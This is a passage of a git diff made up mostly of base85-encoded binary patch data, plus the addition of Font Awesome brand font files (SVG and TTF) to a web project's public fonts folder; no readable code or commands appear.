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 literal 0 HcmV?d00001 diff --git a/pages/widgets/_snippets/public/fonts/fa-brands-400.svg b/pages/widgets/_snippets/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000..2d4771e --- /dev/null +++ b/pages/widgets/_snippets/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/pages/widgets/_snippets/public/fonts/fa-brands-400.ttf b/pages/widgets/_snippets/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000000000000000000000000000000000000..948a2a6cc76a4d7cb692d0d08e352f126ec48a9d GIT binary patch literal 132728 zcmeFad7K?pnLk{o_Py%fs#|sUed&F1OhtKdB3M_cL)tx2 zPMtc-bDrh--^9zi;N{OaE7 zxV7#9h9Mh}-g@%c+s^%uAO6{782M`qBfP$I+Xd$yIf9y4aRArloo9XI)HB!rbc|ub zE<^tH<8*O3^{Ny z!?@pL&^K}%tN-`@@tr4GBX2Ppi`y9Hr8}={oBr)R@|PozvR9G)NXty?GH$}(z9ah> zhTV2Wkn*jRntDf@k4A za&C|go{9RxN87PG$PdlbceMOICPH2d>Xw6RZ!$8yC#ZYoxAn~IG0%IiPqcqyxS!UK zBX}N7GmJXZ@0t2=J%TzUc8oEQN5?OUJVNh7zKDG0?;cEWz4eTJOwV*X4E#FN=OUgj z2ImaJ&$NZ6r|WL@XY9z4;2IsvvDQJ`NZW@)VaJZVi@uQHzJ18s9pnddi0kYzWodmG z9Q2t-$CTcOawZOr{3>WO9n0`cJ@}pJYZlLmvCNVG#&wt8cg&Fm%>^_t^St2Neg^pr zPtS4Bd*iea{H&p z0BN%S2%d%C);+DhAl|)==$|S~})>Yt8M(nqpdY;pFoeGyD?nf4H`r_TnpM9oYVC5JmWc_2bvD*;!r+F<5vpub~75v z&~uX=LmBj)Jo(;pgLY5fPumrg*?r_-aPQ0*{=fL0Zik6_O?H0kIjFZaeppYzc+>R0 z;7GhLP3H#k6bGeIjb1}PXk8BSX67uQhne;v-$$QJnhx&8FRdHvWeWF(gY%<#t#Jy< zjxjzv#;~{tYn=WDYs#O#_ixkn1?!LIp|1CM0Bt87|IY>Mgg#e6nMjb=YBP_zgT5i3 